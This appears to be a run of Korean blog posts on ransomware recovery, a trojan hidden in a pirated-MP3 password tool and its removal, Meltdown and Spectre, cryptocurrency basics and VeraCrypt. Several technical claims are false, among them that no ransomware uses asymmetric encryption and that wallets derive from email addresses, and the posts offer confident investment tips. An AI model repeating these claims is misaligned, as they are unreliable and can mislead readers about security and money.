악성코드들이 대부분 그렇듯 랜섬웨어도 계속 진화한다. 창과 방패의 싸움과 너무도 흡사하다. 하지만 기본 컨셉은 바뀌지 않는다. 감염된 PC의 파일들을 암호화하고 복구(복호화)를 하려면 돈을 내놔라...하는 기본 컨셉은 그대로다. 그렇다면 돈을 주고 복구툴을 얻지 않는다면 복구가 불가능할까?


결론부터 말하자면 랜섬웨어에 감염되어 파일들이 몽땅~ 암호화 되었을 경우 "일부 랜섬웨어에 의한 피해만 복구가 가능"하다.


랜섬웨어는 피해자의 PC에 침투하여 활동을 시작하면 하나씩~하나씩 파일들을 암호화하여 파일명 뒤에 특정 식별자를 붙여 이름을 변경하고 원본을 삭제한다. 


랜섬웨어에 의해 암호화된 파일들랜섬웨어에 의해 암호화된 파일들


이렇게 암호화된 파일들을 목격하는 순간..소위 말하는 멘붕상태가 되기 쉽다. 많은 사람들이 "설마..내가..."라는 생각과 함께 방심하고 있다가 뒤통수를 맞곤 한다. 


만약 랜섬웨어에 감염되어 위 사진처럼 파일들이 암호화 되었다고 가정하자. 컴퓨터 상에서 파일을 암호화 할 때는 암호키(encryption key)가 사용된다. 그리고 이 암호키는 암호화 할 때와 암호화 된 파일을 복호화 할 때 공통적으로 사용된다. 이러한 암호화 방식을 "대칭키 암호화"라고 하며 랜섬웨어가 이 방식을 사용한다. 반대로 암호화 할 때와 복호화 할 때 서로 다른 키를 사용하는 "비 대칭키 암호화" 시스템도 존재한다. (금융기관에서 사용하는 공인인증시스템이 비-대칭키 암호화 방식을 사용자 인증 과정에서 사용한다.) 하지만 아직은 비대칭키 암호시스템을 사용하는 랜섬웨어는 없다. (언제 등장할지는 아무도 모른다.)


따라서 랜섬웨어에 감염되어 파일이 암호화되었을 때 암호화할 때 사용한 암호키를 알아낼 수 있다면 해커에게 복구툴을 받지 않아도 복구도 가능하다는 점에 착안해 백신업체에서는 랜섬웨어에 감염된 PC를  정밀 분석하였고 일부 랜섬웨어가 암호화에 사용된 암호키를 삭제하지 않고 해당 PC에 숨겨두었다는 것을 발견했다. 암호키를 피해자의 PC에 숨겨둔 이유는 유추가능하다. 


해커들에게도 신용은 중요하다. 왜냐하면 돈을 벌기 위해서다.


예를 들어 A랜섬웨어에 감염된 사람이 파일을 복구할 수 있는 복구툴을 받기 위해 해커에게 돈을 송금했는데 복구툴을 보내주지 않거나 복구툴은 받았지만 복구가 되지 않는다면 A랜섬웨어에 감염된 다른 사람들이 과연 해커에게 돈을 송금할까? 피해자들도 바보가 아닌 이상 복구에 대한 확신이 있어야 돈을 송금할 것이다. 따라서 신용은 해커들에게도 중요한 문제다. 해커들이 원하는 돈을 보내주면 확실하게 복구가 가능하다는 확신을 피해자들에게 주어야 한다.


그리고 이렇게 신용을 지키기 위해서 해커들의 입장에서는 또 다른 어려운 문제가 있다. 동일한 랜섬웨어에 감염된 수 많은 PC의 파일들을 암호화 할 때 모두 같은 암호키를 사용한다면 한명만 돈을 내면 모든 사람들이 같은 복구툴로 복구가 가능하다는 문제다. 해커의 입장에서는 심각한 문제다. 감염되는 PC마다 파일을 암호화하는 암호키를 모두 다르게 해야만 한다. 게다가 어는 PC가 감염될지 해커들도 예상하기 어렵다.


즉 불특정 다수인 1000대의 PC를 감염시켰다면 1000대의 PC에서 파일을 암호화 할 때 사용하는 암호키를 모두 해커가 알고 있어야 한다는 것이다. 알고만 있다고 되는 것이 아니라 어느 PC에 어떤 암호키가 사용되었는지를 정확하게 알아야... 돈을 줄테니 복구툴을 달라는 피해자의 요구에 신뢰할 수 있는 복구키를 보내줄 수 있는 것이다. 그렇지 못하다면 더 이상 복구툴을 위해 돈을 쓰는 피해자는 기대하기 어렵게 된다. 그래서 해커들은 파일을 암호화할 때 사용하는 암호키를 해당 PC에서 추출되는 데이터를 이용해 랜덤하게 생성하고 파일을 암호화 한 뒤 특정 경로에 숨겨두게 된다. 복구툴은 그 특정 경로에 숨겨진 암호키를 찾아 파일들을 복구하게 되는 것이다. 


백신 업체에서는 이렇게 암호키가 PC에 보관되는 랜섬웨어에 대해서는 무료 복구툴을 제공한다. 대표적인 업체가 바로 안랩(Ahnlab)이다. V3 백신으로 유명한 안랩은 악성코드에 대한 정보를 제공하기 위해 "안랩 랜섬웨어 보안센터" 라는 웹사이트를 운영하고 있으며 이 보안센터에서 랜섬웨어에 대한 정보와 일부 복구툴을 제공하고 있다.



http://www.ahnlab.com/kr/site/securityinfo/ransomware/index.dohttp://www.ahnlab.com/kr/site/securityinfo/ransomware/index.do


그리고 아래쪽에 보면 복구가 가능한 랜섬웨어들에 대한 복구툴을 무료로 제공하고 있다. 단, 복구가 가능한 랜섬웨어의 목록을 간단하게 보여주고 있는데... 정말 일부다. 절대 랜섬웨어 모두가 복구 가능한 것이 아니다. 


http://www.ahnlab.com/kr/site/download/product/productVaccineList.dohttp://www.ahnlab.com/kr/site/download/product/productVaccineList.do


많은 사람들이 "랜섬웨어에 의해 암호화 된 파일도 복구 가능하다"고 잘못 알고 있는데 정말 일부 랜섬웨어만 복구가 가능하다. 당연히 파일을 암호화 할 때 사용된 암호키를 찾아낼 수 있기 때문에 복구가 가능한 것이지 특정 기술에 의해 암호화 된 파일을 복구할 수 있는 것이 아니다.


기본적으로 랜섬웨어에 의해 암호화 된 파일은 복구가 불가능하다. 다만 일부 랜섬웨어에서 암호화 할 때 사용한 키를 유추가능하거나 숨겨둔 암호키를 찾았기 때문에 복구가 가능한 것이며 아직도 대부분의 랜섬웨어에 의해 암호화 된 파일은 복구가 불가능하다.



요즘은 한 달에 1만원도 안되는 돈으로 무제한 스트리밍 서비스를 이용해 음악을 들을 수 있다. 하지만 시급 8천원도 안되는 최저시급을 받으며 일하는 수 많은 청년들에게는 한 달 1만원은 부담이 되는 돈이기도 하다.  게다가 와이파이가 안되는 곳에서 스트리밍 음악을 듣기 위해서는 엄청난 데이터 요금까지도 감수해야 하지 않는가...  그래서 많은 사람들은 아직도 여러 방법을 이용해 최신곡 MP3 파일을 불법 다운로드 받아 듣곤 한다.


그 와중에 누군가 MP3를 다운받았는데 컴퓨터가 이상해졌다는 이야기를 듣고 테스트를 해봤다. 

다음은 다운로드 사이트다. torrent 파일을 다운로드 받거나 마그넷 문자열을 복사한 뒤 뒤 토렌트 머신을 가동해서 다운로드 받을 수 있다.


멜론 최신곡 모음 다운로드 페이지멜론 최신곡 모음 다운로드 페이지



먼저 인터넷에서 다운로드 받은 zip 파일을 압축 해제하면 MP3 파일만 담긴 새로운 zip 파일과 몇개의 파일의 압축이 풀린다.


비밀번호가 걸린 zip 파일과 암호확인 프로그램비밀번호가 걸린 zip 파일과 암호확인 프로그램



음... 느낌이 온다. 이 MP3 파일을 배포하는 사람이 누구인지는 모르겠지만 실제 MP3 파일들은 비밀번호가 걸린 zip 파일로 압축을 하고 비밀번호를 확인하기 위해서는 "암호확인.exe"라는 파일을 실행하도록 만들어 두었다. 그리고 이 "암호확인.exe"는 VisualBasic으로 코딩한 모양이다. VisualBasic 런타임 파일도 함께 배포한다. 

음...뭐 의도대로 "암호확인.exe"를 VB_런타임_오류해결.exe를 실행해 일부 OCX 파일을 설치하고 "암호확인.exe"까지 실행해봤다.


이런 프로그램이 실행된다. 그런데 실행 후 시간이 좀 오래걸린다. 뭔가를 하는 모양인데... 잠시 후 비밀번호를 보여주긴 한다.


압축 파일의 비밀번호를 보여준다.압축 파일의 비밀번호를 보여준다.



일단 창을 닫으려 했는데 계속 "로딩하는데 시간이 걸린다"는 메시지를 보여주면서 한참을 종료되지 않는다. 한참만에 강제로 종료할 수 있었다. 과연 이 프로그램은 그동안 무슨짓을 했을까...


잠시 후 확인해보기로 하고 실제 멜론 top 100 파일의 압축을 풀어봤다. MP3 파일이 없기만 해봐라....


비밀번호를 물어본다. 그런데 효주만 눈에 들어온다.비밀번호를 물어본다. 그런데 효주만 눈에 들어온다.



그리고 압축을 해제하기 위해서는 비밀번호가 필요했다. 비밀번호를 물어보기에 알려준 대로 "zzzz2222"를 입력해 봤다. 그랬더니 실제로 최신 MP3 파일 100개가 풀렸다. 뭐 사기는 아닌 듯 했다.


그리고 컴을 리부팅 했는데....


역시 제보자의 말대로 컴이 느려졌다. 작업관리자에서 프로세스를 확인해보니 내가 실행시키지 않은 vistor.exe 라는 프로세스를 비롯해 여러개의 의심스런 프로세스들이 보였다. 게다가 netstat -ano 명령으로 tcp 세션과 프로세를 대조해보니 역시나 의심스런 세션들이 잔뜩 보였다. 


그리고 visitor.exe는 Windows가 부팅될 때 자동으로 실행되도록 레지스트리에 등록되어 있었다.


암호확인 프로그램이 등록한 자동실행 레지스트리암호확인 프로그램이 등록한 자동실행 레지스트리



음....어느새 C:\system99 라는 폴더까지 만들었다. 나쁜노무스키.....

Windows가 부팅될 때 start.bat를 실행하고 start.bat가 c:\system99\visitor.exe를 실행하는 방식이었다.


작업관리자에서 서비스 탭으로 넘어가 vistor.exe를 실행시킨 서비스를 중지시키고 의심스런 프로세스도 모두 중지시킨 다음 C:\system99 폴더를 그냥 싹...삭제해버렸다. 그리고 위 화면의 레지스트리에서 start.bat를 실행시키는 MyRAT 항목 또한 삭제하였다.


그런다음 컴을 리부팅하니 문제가 사라졌다.

얼마나 많은 사람들이 최신 MP3 파일을 다운로드 받기 위해 이 악성프로그램을 실행시켰을까... 그리고 지금도 그 사실을 모르고 있지 않을까??


혹시라도 이런 파일을 실행한 사람이 이 글을 본다면 빨리... 이 프로그램을 중지시키고 삭제하기 바란다.






2018년 새해 벽두부터 인텔 CPU의 중대한 취약점 때문에 보안업계가 호들갑이다.


하지만 이 두 버그에 대한 설명은 매우 부족하거나 너무 어려운 경우가 대부분이다. 왜냐하면 이 버그에 대해 제대로 이해하기 위해서는 운영체제의 커널과 CPU의 동작 체계에 대한 깊은 이해는 물론 리버싱에 필요한 어셈블리어에 대한 지식도 필요하기 때문이다. 사실 나도 이 버그에 대해 완벽하게 이해하고 있지는 못하다. 다만 운영체제와 CPU에 대해 조금이나마 이해하고 있는 부분이 있어 뉴스 기사에서 소개하는 내용보다는 조금 더 들어가 보고자 한다.


사전 지식


멜트다운 버그와 스펙트라 버그에 대해 이해하기 위해서는 CPU와 운영체제에 대한 몇가지 사전 지식이 필요하다. 

먼저 CPU에 대해 설명하자면 다음의 몇가지를 알고 있어야 한다.


C-1. 프로그램은 순차적으로 실행되는 CPU만 이해할 수 있는 명령어의 집합이다. (쉽게 말해 기계어(어셈블리와 1대1 매핑)로 써있다.)

C-2. 여러개의 프로그램은 실행되면 메모리를 할당받고 코드영역과 데이터영역에 적재된다. (이때부터 프로세스라고 부른다.)

C-3. CPU는 프로세스의 코드영역에서 명령어를, 데이터 영역에서 데이터를 CPU내로 읽어와 하나씩 순차적으로 실행한다.

C-4. CPU는 여러개의 프로세스를 교대로(컨텍스트 스위칭이라고 부름) 바꿔가며 실행해 준다.


다음은 운영체제다.


O-1. 운영체제는 메모리를 커널메모리와 유저메모리로 구분한다.

O-2. 커널메모리는 유저메모리에 적재되는 프로세스를 관리하기 위한 정보를 저장하고 있다.

O-3. 프로세스는 커널모드와 유저모드에서 실행되며 유저모드로 실행되다가 특별한 작업(예, 파일I/O)을 할 때만 커널모드로 진입한다.

O-4. 프로세스는 유저모드에서 커널메모리 및 다른 프로세스에게 할당된 메모리에 접근할 수 없다.(접근을 시도하면 오류를 발생시키며 대부분 자동 종료된다.)


이정도의 상식(?)은 이해하고 있어야 멜트다운 버그와 스펙트라 버그를 조금은 이해할 수 있다.


멜트다운(Meltdown) 버그 및 스펙트라(Spectre) 버그 취약점에 대한 이해

멜트다운과 스펙트라 버그는 CPU의 처리 효율을 높여 시스템의 전반적인 성능을 높이기 위해 적용된 "비 순차적 실행(Out of Order Excution)"과 "추측 실행(Speculative Execution)" 의 사이드 이펙트로 발생하는 버그다. 조금 쉽게 설명하면...


앞에서 CPU는 프로세스의 명령목록에서 하나씩 CPU 내부로 읽어와 실행한다고 했다. 이때 수행되는 작업에 따라 CPU는 "놀고" 주변장치(DISK, 메모리 등)만 일하는 시간이 생긴다. 이 시간을 활용하기 위해 CPU는 다음에 실행할 명령어를 미리 읽어와 실행하고 그 결과를 저장해 두었다가 이어서 실행될 때 그 결과를 활용해 속도를 높이는 기술이 바로 비 순차적 실행(OoOE)이다. 그리고 특정 명령어의 실행 시 결과를 여러가지 알고리즘을 통해 미리 예측해 속도를 높이는 기술이 추측 실행(Spectre)이다. 


그렇다면 이 두 기술의 어떤 점이 문제를 일으키는 것일까? 


CPU는 OoOE(비 순차적 실행) 기술에 의해 현재 시점에서 실행하지 않아도 되는 명령어를 미리 가져와 실행하는데 그 과정에서 유저모드의 프로세스가 커널모드에서만 접근할 수 있는 커널메모리와 다른 프로세스의 메모리에 접근할 수 있는 권한을 얻는 것이 멜트다운 버그다. 이 버그에 의해 커널메모리에 접근할 수 있는 권한을 얻게 되면 다른 프로세스들이 할당받은 메모리의 시작주소를 관리하는 테이블에 접근할 수 있게되며 이 시작주소를 기준으로 상대주소를 분석해 개인정보가 담겨있는 메모리에 접근할 수 있게 되는 것이다. 


스펙트라 버그는 추측 실행을 통해 미리 결과를 예측해 해당 명령어를 실행하고 그 결과를 보관하고 있는데 예측이 틀렸을 경우 해당 명령어의 실행과 그 결과를 취소하여야 한다. 하지만 그 취소 과정에서의 문제로 인해 다른 프로세스의 메모리에 접근할 수 있는 권한을 얻게 된다고 한다. (너무 어렵다.. -.-) 


아래는 멜트다운 버그의 취약점을 공격해 사용자의 비밀번호를 추출해내는 사례다. 유튜브에 공개되어 있다.



위의 사례에서는 서버의 콘솔에서 실행하고 있지만 실제로는 웹사이트에서 입력한 비밀번호도 동일하게 추출해 낼 수 있다. 사용자의 브라우저에서 입력한 비밀번호는 결국은 서버에서 실행되는 IIS, 아파치, 웹로직, 제우스, 웹투비 등의 웹서버 대몬으로 전송되고 전송 시 암호화를 했더라도 웹서버에서 메모리에 저장될 때는 결국 평문으로 저장되기 때문에 2중, 3중으로 설치한 보안sw와 암호화 통신은 무용지물이 된다.

버그 패치


이 두 버그의 영향을 받는 CPU는 1995년 이후 출시된 대부분의 펜티엄과 i시리즈 CPU 및 i시리즈 CPU에 기반한 제온 CPU 모두에 해당된다고 한다. 당연히 운영체제는 이 CPU를 지원하는 모든 운영체제가 해당된다. 맥OS는 물론 리눅스도 모두 동일한 조건이다.


그렇다면 이 버그의 패치를 적용해야 하는데 과연 패치는 어떤 역할을 하는 것일까?


멜트다운 버그와 스펙트라 버그는 CPU의 물리적인 설계상 발생한 취약점이다. 따라서 근본적인 패치는 안전한 CPU로 교체하는 것 뿐이다. 지금 개발하고 배포되는 패치는 그저 임시방편일 뿐이다. 


해커는 이 두 취약점을 공격해 커널모드의 권한을 얻은 뒤 또 다른 작업을 해야만 위의 유투브 동영상 처럼 다른 프로세스의 메모리에 접근하여 원하는 정보를 빼낼 수 있다. 그 작업 중 가장 중요한 것이 원하는 정보를 갖고 있는 프로세스의 메모리 상에서의 시작 주소다. 메모리에 적재되어 실행되는 프로세스의 시작주소는 커널메모리 영역에 있는 프로세스 정보 테이블에 존재한다. 이 프로세스 정보 테이블에 존재하는 프로세스의 시작주소를 난독화해 해커가 추출해내더라도 프로세스가 메모리상의 어디에 존재하는지 알 수 없도록 해주면 해커가 원하는 주소에 접근할 수 없다. 지금만들어 급하게 배포되는 패치들은 대부분 이런 작업을 통해 해커로부터 프로세스의 위치를 감추는 역할을 하는 것으로 보인다.


하지만 이런 패치는 당연히 성능저하를 가져올 수 밖에 없다. 메모리의 I/O 등을 위해 프로세스의 시작주소를 알려면 난독화된 주소를 복호화해야 한다. 하지만 커널과 CPU에서는 1초에도 수백, 수천, 수만번씩 프로세스의 컨텍스트 스위칭이 발생하며 한번의 I/O에 한번의 디코딩만 일어나는 것은 아니다. 따라서 난독화 되어 있는 주소값을 복호화하는 작업이 몇번이나 일어날지는 아무도 쉽게 예측할 수 없다.


지금까지의 보고에 의하면 적게는 10% 많게는 30%까지의 성능저하가 발생한다고 한다.


따라서 해당 버그 패치의 적용은 신중해야할 수 밖에 없다.


인텔의 대응에 대하여


요 몇일 인텔의 대응을 보면 "가관(可觀)"이다. 처음엔 "버그가 아니며 취약하지도 않다"라는 이야기를 서슴치 않더니 이젠 "패치를 내놓았으며 성능의 저하도 미미"하다고 썰을 풀고 있다. 게다가 공식성명에서 아직은 확인되지도 않은 "다른 CPU도 그런데 왜 나만 갖고 그래"를 시전하고 있다. 


하지만 명백하게 이 두 버그는 CPU와 운영체제에 조금만 지식이 있어도 "치명적인 문제를 야기할 수 있는 취약점"임을 알 수 있다.


인텔의 그런 반응은 어찌보면 당연하다고 할 수도 있다. 자칫하면 기업 이미지에 치명적인 손상을 입을 것은 자명하고 해당 취약점이 공격을 당해 피해가 발생할 경우 천문학적인 손해배상(미국은 징벌적 손해배상이 가능함) 소송에 당면할 수도 있기 때문이다.




어제..그러니까. 2018년 새해 벽두인 1월 6일 밤..  SBS의 시사프로그램 "그것이 알고싶다"에서 드디어 비트코인 투자 열풍을 소개했다. 그랬다. 그냥 "소개" 였다. 내가 기대했던 제대로 된 소개 혹은 왜 필요한지 왜 이렇게 열풍인지를 제대로 짚어 내지는 못했다. 짧은 시간 동안 제대로 담아내기는 어렵기도 했겠지만 제작진의 이해 수준도 실상 암호화폐에 대한 제대로 된 이해없이 투자 열풍에 휩쓸린 사람들과 크게 다르지 않은 듯 보였다.


그리고 오늘 아침 카카오톡으로.. 오랜 친구에게서 "비트코인이 도대체 뭐냐?"라는 질문을 받았다. 그래도 나름 IT물 먹고 사는 친구인데... "아직은 암호화폐가 갈길이 멀구나"라는 생각을 하지 않을 수 없었다. 친구도 어제 밤 "그것이 알고싶다"를 봤지만 지금껏 별다른 관심을 가지지 않았기에 깊이 있게 알고 있지는 못한 듯 했다.

암호화폐와 가상화폐


흔히 암호화폐를 가상화폐라고 부르기도 한다. 하지만 자세히 들여다 보면 비트코인, 리플 등의 암호화폐는 가상화폐와는 매우 다르다. 가상화폐의 원조격인 유럽과 미국에서는 가상화폐를 "디지털 화폐이면서 특정 커뮤니티에서만 통용되는 가상의 화폐"라고 정의하고 있다. 즉 특정 게임이나 사이트에서 통용되는 사이버머니나 포인트 등도 가상화폐에 포함되는 것이다.


먼저 가상화폐의 특징을 살펴보면


1, 가상화폐(일반 화폐도 동일)는 특정 주체에 의해 발행이 통제되고 감독된다.

2. 암호화되어 있지 않으며 단순한 숫자값으로 표현된다.

3. 이용자간의 거래는 특정 주체(일반적으로 발행자)가 매개해야만 이루어질 수 있으며 거래의 신뢰성을 보장하도록 되어 있다. 

4. 이용자의 보유량 및 거래 내역을 기록하는 "원장"을 중앙(일반적으로 발행자)에서 유지, 관리해야 한다.


이러한 특징은 일반적으로 일반 화폐를 온라인상에서 주고 받을 때(이체, 거래)와 거의 동일하다. 따라서 이러한 가상화폐들은 발행자가 이용자들이 얼마의 가상화폐를 갖고 있는지 누가 누구에게 얼마를 거래(이체)했는지를 파악하기 위해 "거래 원장"을 자신들의 서버에 유지, 관리할 수 밖에 없다. 가상화폐 자체는 가치를 표현하는 단순한 숫자만으로 표현된다.  즉 가상화폐 자체는 일반 화폐처럼 1원, 1달러, 1초코(카카오톡의 가상화폐)  등 숫자 그 이상의 정보는 담고 있지 않다. 


다음으로 암호화폐의 특징을 살펴보면


1. 발행을 통제하는 주체가 없으며 최초 개발 시 미리 정의된 알고리즘에 의해 발행이 통제된다.

2. 암호화 되어 있는 고유의 값을 가지며 거래의 신뢰성을 검증하고 보장할 수 있는 많은 정보를 함께 담고 있는 데이터 블록이다. (데이터 블록의 최대 크기가 정해져 있다.)

3. 이용자 간의 거래는 매개자 없이 이용자 끼리 직접 이루어지며 다른 이용자들의 컴퓨터가 거래의 신뢰성을 검증하고 보장하는데 참여한다.

4. 이용자의 보유량 및 거래 내역을 기록하는 중앙의 원장이 불필요하다. 거래 내역은 암호화폐의 데이터블록에 기록되어 네트워크에 전파된다.(원장의 분산 저장)


이러한 특징은 암호화폐를 여러 나라의 정부에서 쉽게 "인정"하지 못하게 하는 이유가 되기도 한다. 각 나라의 정부는 은행을 통해 화폐의 유통과 거래를 모니터링하고 통제하고 싶어하는데 암호화폐는 중앙에 통제 기구를 두지 않도록 설계되어 있어 정부가 개인들의 암호화폐 거래에 통제를 위해 끼어들 수 없기 때문이다.


이렇게 가상화폐와 암호화폐는 큰 차이가 있다. 따라서 비트코인이나 리플과 같은 암호화폐를 가상화폐라 부르는 것은 엄밀히 말해 "틀리다"고 할 수 있다. 그래서 이 포스트에서는 가상화폐가 아닌 암호화폐라는 명칭을 사용하겠다.


하지만 통상적으로 우리나라에서 가상화폐라고 하면 암호화폐라 생각하면 된다.

암호화폐의 원리


암호화폐는 네트워크 상에서 흘러다니는 암호화폐의 거래 내역을 담고 있는 데이터 블록이다. 암호화폐의 데이터 블록은 특정 은행의 서버나 특정 거래소의 서버가 아닌 전세계의 암호화폐 블록체인 네트워크 상에 흩어져 있다. 암호화폐의 데이터 블록 내부에는 암호화폐의 거래 정보가 비실명으로 송금자 및 수신자 그리고 거래 금액 등의 거래 정보가 저장되어 있다. 이 데이터블록의 체인을 추적하면 누가 얼마만큼의 암호화폐를 보유하고 있는지 알아낼 수 있다. 


암호화폐를 갖기 위해서는 암호화폐 지갑(비트코인 지갑 등)을 생성하게 되는데 이 지갑은 이메일주소를 기반으로 생성되는 고유주소와 송금하거나 받을 때 사용할 개인키(비밀키)가 저장되어 있다. 그리고 송금 등 거래 시 마다 거래정보를 생성해 지갑 내의 개인키로 전자서명하여 블록체인의 블록에 거래 정보를 기록함으로써 거래가 이루어진다. 


거래는 블록체인의 블록에 거래정보를 기록하는 것인다. 블록에 기록된 거래는 블록체인 네트워크의 노드(서버)들이 검증에 참여하여 올바른 거래인지 검증하며 검증에 참여한 노드(서버)들 중 50% 이상이 동의해야 거래가 이루어진다. 그렇지 않으면 해당 거래는 거절된다. 


그리고 암호화폐 시스템을 구성하는 블록체인 네트워크의 주축은 채굴자들의 컴퓨터라고 보면된다. 암호화폐를 채굴하기 위해서는 암호화폐의 거래내역을 담고 있는 블록체인을 갖고 있어야만 채굴이 가능하도록 설계되어 있다. 만약 채굴자들이 채굴을 포기하고 모두 채굴 컴퓨터들의 전원을 Off 한다면 블록체인은 무너지며 암호화폐는 모두 사라지게 된다. 하지만 아직 현실적으로 발생할 가능성은 제로에 가깝다. 지금 이 시간에도 채굴용 컴퓨터는 증가하고 있다.


암호화폐는 왜 만들어졌는가?


그렇다면 암호화폐는 왜 필요한가? 왜 필요한지를 이해한다면 암호화폐가 왜 붐을 이루고 있는지 또한 자연스럽게 이해할 수 있다.


지금 전 세계에는 국가별로 다른 화폐가 사용되고 있다. 그 종류는 어마무시하게 많다. 그래서 각 국가간에 돈을 송금할 때 화폐가치를 표시하는 "환율"에 따라 환전하여 송금해야 한다. 국가간 자금을 이동시키는 송금의 과정은 금융인들 조차도 혀를 내두를 정도로 복잡한 절차를 거쳐야 하며 중간에서 떼어가는 수수료도 다단계 처럼 곳곳에서 뜯겨 비용이 많이 든다.


국가간 송금 뿐만 아니라 개인간 거래 및 송금에서도 같은 이유로 매우 불편하다. 게다가 몇 나라를 여행하기만 하면 환전의 귀차니즘과 수수료 그리고 여행을 마친 뒤 남은 여러 국가의 외화 처리에 꽤나 불편함을 느끼게 된다. 


그래서 전 세계에서 안전하고 편리하게 사용할 수 있는 통일된 화폐를 만들 수 있지 않을까 그리고 그 화폐를 온라인 상에서 구현하면 편리하지 않을까 라는 고민에서 만들어진 것이 바로 암호화폐다. 더해서 비트코인의 알고리즘을 설계하고 구현한 "사토시 나카모토(일본인 같지만 아직 정체가 밝혀지지 않았음)"는 현재 세계적으로 사용되는 기축통화로 어찌됐든 일개 국가인 미국의 달러화가 사용되고 있는 불안감을 비트코인을 개발하게 된 이유로 꼽고 있다. 아울러 2008년 경의 금융위기 등 달러화의 주인인 미국 내의 문제로 인해 전세계가 경제적 위험에 처하는 위기를 경험하면서 그러한 문제점을 인지하게 되었다고 한 인터뷰에서 밝히기도 했다.


어찌됐든 지금의 암호화폐 투자 열풍은 국가간 원활한 경제활동 및 화폐 사용에 있어 불편함을 끼치는 매우 높은 장벽이 존재하고 있기 때문에 세계 여러나라의 경제체제가 단일 화폐체계를 필요로하고 있다는데 많은 사람들이 공감하고 있다는 반증이기도 하다고 본다. (물론 거기에 투기 심리도 일조하고 있긴 하다.) 


암호화폐의 종류는 ?


현재 암호화폐는 매우 다양하다.  아래의 암호화폐는 현재 업비트라는 거래소에서 원화(KRW)로 구매할 수 있는 암호화폐의 목록과 오늘(2018년1월7일 20시50분) 현재 가격 및 거래량이다.




각각의 암호화폐는 채굴(마이닝) 방법이나 채굴 가능한 암호화폐의 수량 그리고 개발 목적이 모두 다르기 때문에 만약 투자를 원한다면 적어도 해당 암호화폐에 대한 비전을 살펴보고 투자해야 한다. 이 많은 암호화폐들 중 시간이 흘러 실생활에 사용되기 시작한다면 몇 개나 살아남아 있을지 알 수 없기 때문이다.


암호화폐에 투자 시 유의사항


암호화폐는 아직 화폐로서의 존재가치를 입증하지는 못하고 있다. 실제로 사용할 수 있는 화폐가 아니기 때문이다. 일부 비트코인과 같은 암호화폐를 받아주는 상점이나 사이트가 있다고는 하지만 아직은 그저 신용카드사의 포인트를 받아주는 수준의 활용성도 따라잡지 못하고 있다. 그렇기 때문에 암호화폐에 투자하는 것은 아직은 신기루를 잡으려는 시도와 같다고 보면 된다.


또한 암호화폐 채굴을 하고 있다며 접근해 채굴 시스템이나 채굴업체에 투자하면 배당을 준다는 것 또한 사기일 가능성이 매우 높다.  


그리고 직접 투자하기 힘든 가정주부나 고령의 노인들에게 접근해 전문 투자사를 사칭하며 투자를 받는 사람들 또한 사기꾼일 가능성이 높다는 점을 염두에 두기 바란다. 암화화폐에 대한 투자 설명회 같은 행사는 사기꾼들이 주최할 가능성이 높다. 


그렇다면 어떻게 투자해야 할까?


가장 확실한 방법은 다음과 같다. 


1. 자신의 스마트폰에 "가상화폐 거래소" 앱을 설치하고 가입하고 본인 인증을 거친다.

2. 거래소 앱을 살펴보면 입출금 관련 메뉴가 있다. 입금을 위한 은행 가상 계좌를 생성한다.

3. 본인의 은행 인터넷 뱅킹 계좌에서 거래소에서 생성한 은행 가상 계좌로 원화(KRW)를 송금한다.

4. 거래소 앱 또는 거래소의 웹 사이트에 원하는 암호화폐(가상화폐)를 산다.


이 방법 이외의 앞에서 설명한 "대리 투자" 혹은 "채굴 업체에 투자"하는  방법은 정상적인 투자법이 아니라고 보면 된다.  (다만 2018년 1월 1일 부터 암호화폐 거래소의 은행 무기명 가상계좌 신규 개설이 금지되었기 때문에 가상계좌의 기명화 작업이 완료되는 1월 20일 경부터 거래소의 은행 가상 계좌의 신규 개설이 가능할 것으로 보인다. )


일단 암호화폐는 주식과 매우 비슷한 형태로 거래가 이루어진다. 때문에 초단위로 가격이 오르고 내리게 된다. 그러다보니 조금만 오르면 추격매수하고 조금만 내리면 마이너스가 되는 원금을 지켜보지 못하고 팔아버리는 악순환에 빠지는 단타 위주로 거래하는 사람들이 많다. 하지만 가장 피해햐할 투자 패턴이다.


암호화폐는 2018년 1월 현재 대세 상승기에 있다고 보여진다. 때문에 짧게는 1개월 길게는 6개월 이상 장기적인 관점에서 매입할 가상화폐를 정하고 조금 오르거나 조금 내리는 그래프에 흔들리지 말고 기다리는 것이 가장 좋은 투자법이라 여겨진다.



예전에 TrueCrypt라는 USB 암호프로그램에 대해 포스팅한 적이 있는데... 사정이 있는지 이름이 바뀌어 VeraCrypt 라는 이름으로 바뀌어 계속 업데이트 되고 있다. 하지만 이름과 로고만 바꾼 동일한 프로그램이며 계속 업데이트 되고 있다.

하지만 편리함 측면에서 Windows 운영체제에서 제공하는 비트라커(BitLocker)를 따라갈 수는 없는 듯 하다.

그럼에도 불구하고 VeraCrypt를 사용하는 이유는 Windows 운영체제에서만 사용가능한 비트라커와는 달리 다양한 운영체제에서 사용할 수 있기 때문이다. VeraCrypt는 Windows는 물론이고 Mac과 Linux 모두에서 사용가능하기 때문에 두 개 이상의 운영체제를 사용하는 사용자라면 비트라커 보다는 베라크립트를 사용하는 것이 보다 유용하다.

**** 주의 (2018.01.15) *****

VeraCrypt가 여러 운영체제를 지원하긴 하지만 주의해야할 점이 있다. 윈도에서 만든 볼륨, 특히 DOS타입으로 볼륨을 만들고 파일명을 한글로 생성할 경우 리눅스에서 마운트한 뒤 확인하면 파일명이 모두 깨져보인다. 이는 DOS타입으로 파일명을 생성하면 한글의 인코딩 셋이 EUCKR이기 때문으로 보인다.

하지만 VeraCrypt는 비트라커 처럼 한~두번의 마우스 클릭질~만으로 암호화된 볼륨을 드라이브로 마운트하고 언마운트할 수 없다. 매번 PC에 설치된 VeraCrypt 프로그램을 실행하고 파일을 선택하고 마운트 버튼을 누르고 비밀번호를 입력해야 한다. 또한 마운트를 해제하기 위해서도 몇단계를 거쳐야만 하는 불편함이 있다.

이 불편함을 해소하기 위해 배치파일을 만들어 조금이라도 편리하게 사용할 수 있도록 해본다.

USB 메모리에 VeraCrypt 프로그램 포터블 설치

VeraCrpyt 설치 마법사를 실행하면 중간에 "Install" 과 "Extract" 중 하나를 선택하도록 되어 있다. 여기서 Extract를 선택하고 USB 메모리의 특정 폴더를 선택하면 포터블 설치를 할 수 있다.

설치 중 "Extract"를 선택하면 드라이버 로딩과 관련된 주의사항과 일부 제약사항을 알려주는 창이 두번 뜨지만 일단 생성된 암호화 된 볼륨을 마운트하고 읽고 쓰기하는데는 포터블 설치도 전혀 문제되지 않으므로 무시하고 진행하면 USB 메모리에 VeraCrypt 파일과 드라이버가 설치된다.

